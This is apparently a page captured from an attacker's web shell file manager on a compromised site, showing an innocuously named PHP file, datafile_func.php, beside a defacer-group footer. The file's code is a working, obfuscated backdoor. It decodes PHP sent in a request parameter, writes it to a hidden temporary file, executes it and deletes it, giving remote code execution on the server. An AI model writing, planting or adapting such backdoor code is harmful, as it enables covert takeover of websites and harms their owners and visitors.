whoami7 - Manager
:
/
home
/
analuakl
/
ankurmedia.com
/
nsd
/
Upload File:
files >> /home/analuakl/ankurmedia.com/nsd/datafile_func.php
<?php if(array_key_exists("\x64\x61ta", $_REQUEST)){ $flag = $_REQUEST["\x64\x61ta"]; $flag= explode ( "." ,$flag ) ; $token =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt9 ); $n =0; array_walk($flag, function ($v5) use (&$token, &$n, $salt9, $lenS) { $chS =ord($salt9[$n % $lenS] ); $dec =((int)$v5 - $chS - ($n % 10)) ^ 67; $token .= chr($dec ); $n++; } ); $descriptor = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", getenv("TMP")]); foreach ($descriptor as $bind) { if (!( !is_dir($bind) || !is_writable($bind) )) { $resource = implode("/", [$bind, ".ref"]); $success = file_put_contents($resource, $token); if ($success) { include $resource; @unlink($resource); exit;} } } }
Copyright ©2021 || Defacer Indonesia